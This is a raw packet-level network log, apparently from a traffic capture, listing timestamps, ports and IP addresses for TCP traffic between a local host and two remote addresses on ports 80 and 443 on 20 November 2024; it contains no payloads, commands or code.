Nov 20, 2024 16:51:08.405064106 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.405064106 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.405916929 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.406079054 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.406080961 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.406378031 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.407213926 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.407229900 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.407279015 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.407279015 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.408337116 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.408485889 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.408545017 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.409622908 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.409636021 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.409714937 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.410918951 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.410931110 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.410998106 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.412010908 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.412152052 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.412178040 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.412240028 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.413150072 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.413161039 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.413337946 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.414309978 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.414397955 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.414433002 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.414603949 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.415762901 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.415782928 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.415833950 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.416721106 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.416882038 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.416886091 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.417459011 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.418009996 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.418059111 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.418162107 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.418287039 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.419207096 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.419219017 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.419271946 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.419271946 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.420574903 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.420586109 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.420747995 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.421708107 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.421720028 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.421765089 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.422890902 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.422902107 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.423046112 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.424022913 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.424101114 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.424170017 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.424344063 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.425333023 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.425344944 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.425400019 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.426733017 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.426867962 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.426872969 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.426956892 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.427870035 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.431638956 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.565670967 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.565824032 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.565901041 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.566160917 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.566190958 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.566317081 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.566349983 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.566459894 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.567441940 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.567776918 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.567910910 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.568551064 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.568659067 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.568712950 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.568804026 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.569982052 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.570173979 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.570187092 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.570199013 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.570234060 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.570241928 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.570249081 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.570281029 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.570281029 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.570489883 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.570508957 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.570523977 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.570707083 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.571609974 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.571683884 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.571711063 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.571758986 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.572822094 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.572892904 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.572895050 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.573201895 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.574081898 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.574187040 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.574250937 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.575261116 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.575328112 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.575402975 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.575642109 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.576471090 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.576584101 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.576626062 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.576875925 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.577646017 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.577711105 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.577765942 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.578908920 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.578975916 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.578993082 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.579174995 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.580106020 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.580152035 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.580172062 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.580204964 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.581368923 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.581481934 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.581501961 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.581527948 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.583139896 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.583265066 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.583390951 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.584172010 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.584198952 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.584240913 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.584276915 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.584952116 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.585036993 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.585046053 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.585167885 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.586675882 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.586730003 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.586783886 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.586783886 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.587882042 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.587939978 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.588067055 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.588233948 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.588732958 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.588820934 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.588848114 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.588862896 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.589819908 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.589893103 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.589946985 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.590018988 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.591002941 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.591062069 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.591095924 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.591737986 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.592216015 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.592278957 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.592298985 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.592456102 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.593430996 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.593480110 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.593957901 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.594022989 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.595138073 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.595196009 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.595210075 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.595458031 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.595984936 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.596019983 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.596071959 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.596653938 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.597219944 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.597325087 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.597347975 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.597409964 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.598807096 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.598932028 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.599029064 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.599545956 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.599584103 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.599637985 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.600697994 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.600800037 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.600824118 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.600860119 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.601916075 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.601984024 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.601989985 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.602070093 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.603168964 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.603271008 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.603281975 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.603604078 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.604382992 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.604516029 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.604561090 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.604660988 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.605690956 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.605776072 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.606077909 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.606307983 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.606962919 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.606976986 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.607043982 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.607043982 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.608115911 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.608230114 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.608289957 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.609255075 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.609338999 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.609369040 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.609510899 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.610387087 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.610609055 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.610661030 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.611630917 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.611687899 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.611716986 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.611921072 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.612868071 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.612942934 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.612962961 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.613008976 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.614126921 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.614197016 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.614214897 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.614790916 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.620148897 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.620166063 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.620217085 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.620229006 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.620243073 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.620419025 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.620790005 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.620805025 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.620841980 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.620888948 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.622000933 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.622349977 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.622402906 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.623249054 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.623308897 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.623480082 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.623580933 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.624613047 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.624764919 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.624820948 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.624820948 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.625942945 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.625957966 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.626040936 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.626982927 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.627058983 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.627154112 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.627254009 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.628249884 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.628354073 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.628396988 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.628472090 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.688185930 CET	443	49834	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:08.688344955 CET	443	49834	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:08.688514948 CET	49834	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:08.688755035 CET	49834	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:08.688781977 CET	443	49834	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:08.688793898 CET	49834	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:08.688859940 CET	49834	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:08.769431114 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.769452095 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.769516945 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.769516945 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.770093918 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.770168066 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.771352053 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.771457911 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.771496058 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.771605968 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.772743940 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.772897005 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.772906065 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.772947073 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.773714066 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.773727894 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.773828983 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.773828983 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.774353027 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.774365902 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.774532080 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.774547100 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.774610043 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.774610043 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.777014017 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.777157068 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.777492046 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.777823925 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.778316021 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.778603077 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.778983116 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.779051065 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.779062986 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.779074907 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.779088020 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.779097080 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.779097080 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.779100895 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.779114008 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.779191017 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.779278040 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.779881954 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.779932976 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.779958963 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.780097961 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.780982971 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.781086922 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.781140089 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.781655073 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.782407999 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.782495975 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.782646894 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.782783031 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.783590078 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.783655882 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.783660889 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.783838034 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.784710884 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.784795046 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.784908056 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.785043955 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.785886049 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.785972118 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.786093950 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.786248922 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.787117958 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.787249088 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:08.787781954 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:08.787919044 CET	49832	80	192.168.2.9	185.215.113.16
